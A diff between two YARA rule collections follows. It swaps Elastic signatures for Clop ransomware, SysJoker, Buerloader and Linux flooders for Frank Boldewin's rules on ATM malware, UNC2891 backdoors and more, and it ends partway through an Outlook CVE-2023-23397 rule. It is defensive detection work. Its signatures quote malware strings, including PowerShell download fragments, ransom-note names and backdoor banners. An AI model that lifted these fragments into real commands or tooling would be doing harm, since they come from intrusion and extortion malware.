-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L540-L558"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "19909f53acca8c84125c95fc651765a25162c5f916366da8351e67675393e583"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Sfloost.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c0cd73db5165671c7bbd9493c34d693d25b845a9a21706081e1bf44bf0312ef9"
+		logic_hash = "bd3cd33d02c7ca1d3a0364e5e3e2f968f32da8f087f744232f3cb786da6c7875"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "61cb72180283746ebbd82047baffc4bf2384658019970c4dceadfb5c946abcd2"
-		severity = "100"
+		fingerprint = "c19368bf04e4b67537a8573b5beba56bab8bcfdf870640ef5bd46d40735ee539"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 8D 65 D8 5B 5E 5F C9 C3 8D 36 55 89 E5 83 EC 18 57 56 53 8B }
+		$a = { 0F 83 C8 50 88 43 0C 0F B6 45 F0 66 C7 43 10 00 00 66 C7 43 12 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_53Bf4E37 : FILE MEMORY
+rule ELASTIC_Linux_Downloader_Generic_0Bd15Ae0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Linux Downloader Generic (Linux.Downloader.Generic)"
 		author = "Elastic Security"
-		id = "53bf4e37-e043-4cf2-ad2a-bc63d69585ae"
-		date = "2021-06-28"
+		id = "0bd15ae0-e4fe-48a9-84a6-f8447b467651"
+		date = "2021-01-12"
 		modified = "2021-09-16"
-		reference = "101f2240cd032831b9c0930a68ea6f74688f68ae801c776c71b488e17bc71871"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L560-L578"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "d1aabf8067b74dac114e197722d51c4bbb9a78e6ba9b5401399930c29d55bdcc"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Downloader_Generic.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e511efb068e76a4a939c2ce2f2f0a089ef55ca56ee5f2ba922828d23e6181f09"
+		logic_hash = "c9558562d9e9d3b55bd1fba9e55b332e6b4db5a170e0dd349bef1e35f0c7fd21"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "83e804640b0848caa532dadc33923c226a34e0272457bde00325069ded55f256"
-		severity = "100"
+		fingerprint = "67e14ea693baee8437157f6e450ac5e469b1bab7d9ff401493220575aae9bc91"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 74 00 49 50 5F 48 44 52 49 4E 43 4C 00 57 68 61 74 20 74 68 65 20 }
+		$a = { 89 D0 83 C0 01 EB 05 B8 FF FF FF FF 48 8B 5D E8 64 48 33 1C 25 28 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_50158A6E : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ircbot_Bb204B81 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Linux Trojan Ircbot (Linux.Trojan.Ircbot)"
 		author = "Elastic Security"
-		id = "50158a6e-d412-4e37-a8b5-c7c79a2a5393"
-		date = "2021-06-28"
+		id = "bb204b81-db58-434f-b834-672cdc25e56c"
+		date = "2021-04-06"
 		modified = "2021-09-16"
-		reference = "1e0cdb655e48d21a6b02d2e1e62052ffaaec9fdfe65a3d180fc8afabc249e1d8"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L580-L598"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "67c22fcf514a3e8c2c27817798c796aacf00ba82e1090894aa2c1170a1e2a096"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ircbot.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6147481d083c707dc98905a1286827a6e7009e08490e7d7c280ed5a6356527ad"
+		logic_hash = "90d211c11281f5f8832210f3fc087fe5ff5a519b9b38628835e8b5fcc560bd9b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f6286d1fd84aad72cdb8c655814a9df1848fae94ae931ccf62187c100b27a349"
-		severity = "100"
+		fingerprint = "66f9a8a31653a5e480f427d2d6a25b934c2c53752308eedb57eaa7b7cb7dde2e"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 45 F8 48 01 D0 48 89 45 D8 0F B7 45 E6 48 8D 50 33 48 8B 45 F8 48 }
+		$a = { 0F 44 C8 4C 5E F8 8D EF 80 83 CD FF 31 DB 30 22 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_F454Ec10 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ircbot_7C60454D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Linux Trojan Ircbot (Linux.Trojan.Ircbot)"
 		author = "Elastic Security"
-		id = "f454ec10-7a67-4717-9e95-fecb7c357566"
+		id = "7c60454d-8290-4e91-9b0a-2392aebe1bec"
 		date = "2022-01-05"
 		modified = "2022-01-26"
-		reference = "0297e1ad6e180af85256a175183102776212d324a2ce0c4f32e8a44a2e2e9dad"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L600-L618"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "e5afb215632ad6359ba95df86316d496ea5e36edb79901c34e0710a6bd9c97d1"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ircbot.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "14eeff3516de6d2cb11d6ada4026e3dcee1402940e3a0fb4fa224a5c030049d8"
+		logic_hash = "90dcd0a3d3f6345e66db0a4f8465e3830eb4e3bcb675db16c60a89e20f935aec"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2ae5e2c3190a4ce5d238efdb10ac0520987425fb7af52246b6bf948abd0259da"
-		severity = "100"
+		fingerprint = "4f14dcca5704c2ef32caaed1c048a5fb14095f31be8630676c07cbc8b22e6c4d"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 8B 45 EC 48 63 D0 48 8B 45 D0 48 01 D0 0F B6 00 3C 2E 75 4D 8B }
+		$a = { 49 89 F0 41 54 55 48 89 CD 53 48 89 FB 48 83 EC 58 48 85 D2 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_9417F77B : FILE MEMORY
+/*
+ * YARA Rule Set
+ * Repository Name: R3c0nst
+ * Repository: https://github.com/fboldewin/YARA-rules/
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 54e9e6899b258b72074b2b4db6909257683240c2
+ * Number of Rules: 26
+ * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * NO LICENSE SET
+ */
+rule R3C0NST_ATM_Malware_Loup : FILE
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
-		author = "Elastic Security"
-		id = "9417f77b-190b-4834-b57a-08a7cbfac884"
-		date = "2022-01-05"
-		modified = "2022-01-26"
-		reference = "60ff13e27dad5e6eadb04011aa653a15e1a07200b6630fdd0d0d72a9ba797d68"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L620-L638"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "470b7e44cd875b1f6abcfa5e4d33d2808a65630dc914b38643c9efb14db5f1ff"
+		description = "Detects ATM Malware Loup"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "4786362f-b2c5-5b69-8b06-9216561286e6"
+		date = "2020-08-17"
+		modified = "2020-08-17"
+		reference = "https://twitter.com/r3c0nst/status/1295275546780327936"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.Loup.yar#L1-L16"
+		license_url = "N/A"
+		hash = "6c9e9f78963ab3e7acb43826906af22571250dc025f9e7116e0201b805dc1196"
+		logic_hash = "39efced4ee3a6147acf5732e4be3a5e9859268b35b79f5e8e87d7c4d77a588c0"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "d321ea7aeb293f8f50236bddeee99802225b70e8695bb3527a89beea51e3ffb3"
-		severity = "100"
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 90
+		tags = "FILE"
 
 	strings:
-		$a = { 0F B7 45 F6 0F B7 C0 48 01 C3 48 89 DA 48 C1 FA 10 0F B7 C3 48 8D }
+		$String1 = "C:\\Users\\muham\\source\\repos\\loup\\Debug\\loup.pdb" ascii nocase
+		$String2 = "CurrencyDispenser1" ascii nocase
+		$Code = {50 68 C0 D4 01 00 8D 4D E8 51 68 2E 01 00 00 0F B7 55 08 52 E8}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and filesize <100KB and all of ($String*) and $Code
 }
-rule ELASTIC_Windows_Ransomware_Clop_6A1670Aa : BETA FILE MEMORY
+rule R3C0NST_ATM_Malware_XFS_ALICE : FILE
 {
 	meta:
-		description = "Identifies CLOP ransomware in unpacked state"
-		author = "Elastic Security"
-		id = "6a1670aa-7f78-455b-9e28-f39ed4c6476e"
-		date = "2020-05-03"
-		modified = "2021-08-23"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Clop.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "afe28000d50495bf2f2adc6cbf0159591ce87bff207f3c6a1d38e09f9ed328d7"
+		description = "Detects ATM Malware ALICE"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "6132730c-4684-517a-b90d-98ed250e2cba"
+		date = "2020-01-09"
+		modified = "2020-08-17"
+		reference = "https://twitter.com/r3c0nst/status/1215265889844637696"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.ALICE.yar#L1-L22"
+		license_url = "N/A"
+		logic_hash = "7dca049f024f09c2e778b0693a1015d1fc5a006fc564de914e85231cb5d73da3"
 		score = 75
-		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "7c24cc6a519922635a519dad412d1a07728317b91f90a120ccc1c7e7e2c8a002"
-		threat_name = "Windows.Ransomware.Clop"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 90
+		tags = "FILE"
+		hash1 = "6b2fac8331e4b3e108aa829b297347f686ade233b24d94d881dc4eff81b9eb30"
 
 	strings:
-		$b1 = { FF 15 04 E1 40 00 83 F8 03 74 0A 83 F8 02 }
+		$String1 = "Project Alice" ascii nocase
+		$String2 = "Can't dispense requested amount." ascii nocase
+		$String3 = "Selected cassette is unavailable" ascii nocase
+		$String4 = "ATM update manager" wide nocase
+		$String5 = "Input PIN-code for access" wide nocase
+		$String6 = "Supervisor ID" wide nocase
+		$Code1 = {50 68 08 07 00 00 6A 00 FF 75 0C FF 75 08 E8}
+		$Code2 = {50 6A 00 FF 75 10 FF 75 0C FF 75 08 E8}
+		$Code3 = {68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 0B C0 75 29 6A}
 
 	condition:
-		1 of ($b*)
+		uint16(0)==0x5A4D and filesize <200KB and 4 of ($String*) and all of ($Code*)
 }
-rule ELASTIC_Windows_Ransomware_Clop_E04959B5 : BETA FILE MEMORY
+rule R3C0NST_UNC2891_Steelcorgi : FILE
 {
 	meta:
-		description = "Identifies CLOP ransomware in unpacked state"
-		author = "Elastic Security"
-		id = "e04959b5-f3da-428d-8b56-8a9817fdebe0"
-		date = "2020-05-03"
-		modified = "2021-08-23"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Clop.yar#L22-L50"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "039fcb0e48898c7546588cd095fac16f06cf5e5568141aefb6db382a61e80a8d"
+		description = "Detects UNC2891 Steelcorgi packed ELF binaries"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "94da7da5-5fc3-5221-97d6-1854aa7b1959"
+		date = "2022-03-30"
+		modified = "2023-01-05"
+		reference = "https://github.com/fboldewin/YARA-rules/"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/UNC2891_Steelcorgi.yar#L1-L17"
+		license_url = "N/A"
+		logic_hash = "4f956b9eaec66bc606ffd0afa2fe9303194e9a8c12d4c3de6ab2334c9856dd99"
 		score = 75
-		quality = 50
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "7367b90772ce6db0d639835a0a54a994ef8ed351b6dadff42517ed5fbc3d0d1a"
-		threat_name = "Windows.Ransomware.Clop"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 90
+		tags = "FILE"
+		hash1 = "0760cd30d18517e87bf9fd8555513423db1cd80730b47f57167219ddbf91f170"
+		hash2 = "3560ed07aac67f73ef910d0b928db3c0bb5f106b5daee054666638b6575a89c5"
+		hash3 = "5b4bb50055b31dbd897172583c7046dd27cd03e1e3d84f7a23837e8df7943547"
 
 	strings:
-		$a1 = "-%s\\CIopReadMe.txt" wide fullword
-		$a2 = "CIopReadMe.txt" wide fullword
-		$a3 = "%s-CIop^_" wide fullword
-		$a4 = "%s%s.CIop" wide fullword
-		$a5 = "BestChangeT0p^_-666" ascii fullword
-		$a6 = ".CIop" wide fullword
-		$a7 = "A%s\\ClopReadMe.txt" wide fullword
-		$a8 = "%s%s.Clop" wide fullword
-		$a9 = "CLOP#666" wide fullword
-		$a10 = "MoneyP#666" wide fullword
+		$pattern1 = {70 61 64 00 6C 63 6B 00}
+		$pattern2 = {FF 72 FF 6F FF 63 FF 2F FF 73 FF 65 FF 6C FF 66 FF 2F FF 65 FF 78 FF 65}
 
 	condition:
-		1 of ($a*)
+		uint32(0)==0x464c457f and all of them
 }
-rule ELASTIC_Windows_Ransomware_Clop_9Ac9Ea3E : BETA FILE MEMORY
+import "hash"
+
+rule R3C0NST_ATM_Malware_Atmspitter : FILE
 {
 	meta:
-		description = "Identifies CLOP ransomware in unpacked state"
-		author = "Elastic Security"
-		id = "9ac9ea3e-72e1-4151-a2f8-87869f5f98e3"
-		date = "2020-05-03"
-		modified = "2021-08-23"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Clop.yar#L52-L71"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "1228ee4b934faf1d5f8cf4518974cd2c80a73d84c8a354bde4813fb97ba516d7"
+		description = "Detects ATM Malware ATMSpitter"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "4497f304-6f04-5f5d-91ba-9124e5262078"
+		date = "2016-07-20"
+		modified = "2019-03-29"
+		reference = "https://topics.amcham.com.tw/2017/02/looking-back-at-the-first-banks-atm-heist/"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.ATMSpitter.yar#L3-L21"
+		license_url = "N/A"
+		hash = "658b0502b53f718bd0611a638dfd5969"
+		logic_hash = "684820ed29c50a41bd262862cb97c70c0cbb8554e7e4be300986519423249c50"
 		score = 75
-		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "1cb0adb36e94ef8f8d74862250205436ed3694ed7719d8e639cfdd0c8632fd6c"
-		threat_name = "Windows.Ransomware.Clop"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 65
+		tags = "FILE"
 
 	strings:
-		$c1 = { 8B 1D D8 E0 40 00 33 F6 8B 3D BC E0 40 00 }
+		$Code_Bytes = { B9 E0 07 00 00 66 ?? ?? ?? ?? 0F 85 DD 02 00 00 66 ?? ?? ?? ?? ?? 0F 85 D1 02 00 00 }
+		$Service = "Congratulations! You are very skilled in reverse engineering!" nocase ascii
 
 	condition:
-		1 of ($c*)
+		(hash.sha256(0, filesize )=="4035d977202b44666885f9781ac8755c799350a03838ff782eb730c0d7069958") or ($Code_Bytes and $Service)
 }
-rule ELASTIC_Windows_Ransomware_Clop_606020E7 : BETA FILE MEMORY
+rule R3C0NST_Aplib_Decompression : FILE
 {
 	meta:
-		description = "Identifies CLOP ransomware in unpacked state"
-		author = "Elastic Security"
-		id = "606020e7-ce1a-4a48-b801-100fd22b3791"
-		date = "2020-05-03"
-		modified = "2021-08-23"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Clop.yar#L73-L92"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "f5169b324bc19f6f5a04c99f1d3326c97300d038ec383c3eab94eb258963ac30"
+		description = "Detects aPLib decompression code often used in malware"
+		author = "@r3c0nst"
+		id = "f45c73f5-d316-5fea-a8c4-fd930733415f"
+		date = "2021-03-24"
+		modified = "2021-03-25"
+		reference = "https://ibsensoftware.com/files/aPLib-1.1.1.zip"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/aPLib_decompression.yar#L1-L16"
+		license_url = "N/A"
+		logic_hash = "1150701724fdb487ebe8fb959afd12fff37a8e9137cb94e78e976a2566ec5fa4"
 		score = 75
-		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "5ec4e00ddf2cb1315ec7d62dd228eee0d9c15fafe4712933d42e868f83f13569"
-		threat_name = "Windows.Ransomware.Clop"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 90
+		tags = "FILE"
 
 	strings:
-		$d1 = { B8 E1 83 0F 3E F7 E6 8B C6 C1 EA 04 8B CA C1 E1 05 03 CA }
+		$pattern1 = { FC B2 80 31 DB A4 B3 02 }
+		$pattern2 = { AC D1 E8 74 ?? 11 C9 EB }
+		$pattern3 = { 73 0A 80 FC 05 73 ?? 83 F8 7F 77 }
 
 	condition:
-		1 of ($d*)
+		filesize <10MB and all of them
 }
-rule ELASTIC_Windows_Trojan_Sysjoker_1Ef19A12 : FILE MEMORY
+rule R3C0NST_UNC2891_Slapstick : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Sysjoker (Windows.Trojan.SysJoker)"
-		author = "Elastic Security"
-		id = "1ef19a12-ee26-47da-8d65-272f6749b476"
-		date = "2022-02-17"
-		modified = "2022-04-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SysJoker.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "61df74731fbe1eafb2eb987f20e5226962eeceef010164e41ea6c4494a4010fc"
-		logic_hash = "25bd58d546549d208f9f95f4c27d1e58f86f87750dae1e293544cc92b25f8b32"
+		description = "Detects UNC2891 Slapstick pam backdoor"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "a731acff-f657-5877-859e-7447230576df"
+		date = "2022-03-30"
+		modified = "2023-01-05"
+		reference = "https://github.com/fboldewin/YARA-rules/"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/UNC2891_Slapstick.yar#L1-L19"
+		license_url = "N/A"
+		logic_hash = "7777c3b850f5b7ee326be5461ebc3bf37fb201b67ada78b50575fb31f50adf9a"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "9123af8b8b27ebfb9199e70eb34d43378b1796319186d5d848d650a8be02d5d5"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 90
+		tags = "FILE"
+		hash1 = "9d0165e0484c31bd4ea467650b2ae2f359f67ae1016af49326bb374cead5f789"
 
 	strings:
-		$a1 = "';Write-Output \"Time taken : $((Get - Date).Subtract($start_time).Seconds) second(s)\"" ascii fullword
-		$a2 = "powershell.exe Expand-Archive -LiteralPath '" ascii fullword
-		$a3 = "powershell.exe Invoke-WebRequest -Uri '" ascii fullword
-		$a4 = "\\recoveryWindows.zip" ascii fullword
+		$code1 = {F6 50 04 48 FF C0 48 39 D0 75 F5}
+		$code2 = {88 01 48 FF C1 8A 11 89 C8 29 F8 84 D2 0F 85}
+		$str1 = "/proc/self/exe" fullword ascii
+		$str2 = "%-23s %-23s %-23s %-23s %-23s %s" fullword ascii
+		$str3 = "pam_sm_authenticate" ascii
+		$str4 = "ACCESS GRANTED & WELCOME" xor
 
 	condition:
-		3 of them
+		uint32(0)==0x464c457f and filesize <100KB and ( all of ($code*) or all of ($str*))
 }
-rule ELASTIC_Windows_Trojan_Sysjoker_34559Bcd : FILE MEMORY
+rule R3C0NST_ATM_Malware_XFS_DIRECT : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Sysjoker (Windows.Trojan.SysJoker)"
-		author = "Elastic Security"
-		id = "34559bcd-661a-4213-b896-2d7f882a16ef"
-		date = "2022-02-21"
-		modified = "2022-04-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SysJoker.yar#L24-L48"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1ffd6559d21470c40dcf9236da51e5823d7ad58c93502279871c3fe7718c901c"
-		logic_hash = "ebe7f6037f14e37b6efe81614c06c6d26fe0cc17d0475b8b19715f80d0d9aad3"
+		description = "Detects ATM Malware XFS_DIRECT"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "d1551c50-d3d2-56fd-a6b7-198d3a26ac72"
+		date = "2019-10-18"
+		modified = "2019-10-19"
+		reference = "https://twitter.com/r3c0nst/status/1185237040583106560"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.XFS_DIRECT.yar#L1-L37"
+		license_url = "N/A"
+		logic_hash = "844a334d0eb8516c0ef3780e48e3dbc8e23d41c80bdff10f01407b775e72709e"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "b1e01d0b94a60f6f5632a14d3d32f78bbe3049886ea3a3e838a29fb790a45918"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 90
+		tags = "FILE"
+		hash1 = "3e023949fecd5d06b3dff9e86e6fcac6a9ec6c805b93118db43fb4e84fe43ee0"
+		hash2 = "303f2a19b286ca5887df2a334f22b5690dda9f092e677786e2a8879044d8ad11"
+		hash3 = "15d50938e51ee414124314095d3a27aa477f40413f83d6a2b2a2007efc5a623a"
+		hash4 = "0f9cb4dc1ac2777be30145c3271c95a027758203d0de245ec390037f7325d79d"
+		hash5 = "141ae291ddae60fd1b232f543bc9b40f3a083521cd7330c427bb8fc5cdd23966"
+		hash6 = "66eb1a8134576db05382109eec7e297149f25a021aba5171d2f99aa49c381456"
+		hash7 = "ac20b12beefb2036595780aaf7ec29203e2e09b6237d93cd26eaa811cebd6665"
+		hash8 = "901fc474f50eb62edc526593208a7eec4df694e342ffc5b895d1dcec953c6899"
+		hash9 = "56548c26741b25b15c27a0de498c5e04c69b0c9250ba35e3a578bc2f05eedd07"
+		hash10 = "c89f1d562983398ab2d6dd75e4e30cc0e95eab57cdf48c4a17619dca9ecc0748"
 
 	strings:
-		$a1 = "\\txc1.txt\" && type \"" ascii fullword
-		$a2 = "tempo1.txt" nocase
-		$a3 = "user_token="
-		$a4 = "{\"status\":\"success\",\"result\":\"" ascii fullword
-		$a5 = "\",\"av\":\"" ascii fullword
-		$a6 = "aSwpEHc0QyIxPRAqNmkeEwskMW8HODkkYRkCICIrJysHNmtlIzQiChMiGAxzQg==" ascii fullword
-		$a7 = "ESQuBT8uQyglJy4QOicGXDMiayYtPQ==" ascii fullword
+		$EncLayer1 = {0F B6 51 FC 30 50 FF 0F B6 11 30 10 0F B6 51 04 30 50 01 0F B6 51 08 30 50 02}
+		$EncLayer2 = {B8 4D 5A 00 00 89 33 66 39 06 75 ?? 8b ?? 3c}
+		$String1 = "NOW ENTER MASTER KEY" ascii nocase
+		$String2 = "Closing app, than delete myself." ascii nocase
+		$String3 = "Number of phisical cash units is:" ascii nocase
+		$String4 = "COULD NOT ENABLE or DISABLE connection" ascii nocase
+		$String5 = "XFS_DIRECT" ascii nocase
+		$String6 = "Take the money you snicky mother fucker :)" ascii nocase
+		$String7 = "ATM IS TEMPORARILY OUT OF SERVICE!" wide nocase
+		$Code1 = {D1 F8 89 44 24 10 DB 44 24 10 DC 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 35 2F 81 0B 00 A3}
+		$Code2 = {8B ?? ?? ?? 68 2E 01 00 00 52 C7 ?? 06 01 00 00 00}
 
 	condition:
-		4 of them
+		uint16(0)==0x5A4D and ( filesize <1500KB and all of ($EncLayer*)) or ( filesize <300KB and 4 of ($String*) and all of ($Code*))
 }
-rule ELASTIC_Windows_Trojan_Buerloader_C8A60F46 : FILE MEMORY
+rule R3C0NST_Exploit_Outlook_CVE_2023_23397 : CVE_2023_23397 FILE
 {
 	meta:
-		description = "Detects Windows Trojan Buerloader (Windows.Trojan.Buerloader)"
-		author = "Elastic Security"
-		id = "c8a60f46-d49a-4566-845b-675fb55c201c"
-		date = "2021-08-16"
-		modified = "2021-10-04"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Buerloader.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3abed86f46c8be754239f8c878f035efaae91c33b8eb8818c5bbed98c4d9a3ac"
-		logic_hash = "d11b117efc10547e77ce8979f8a1d42f34937101e58a0e36228baa37cd30d2aa"
+		description = "Detects Outlook appointments exploiting CVE-2023-23397"
+		author = "Frank Boldewin"
+		id = "7e355e5f-93ca-561d-9a12-f73f1d429e4d"
+		date = "2023-03-19"
+		modified = "2023-03-25"
+		reference = "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/"
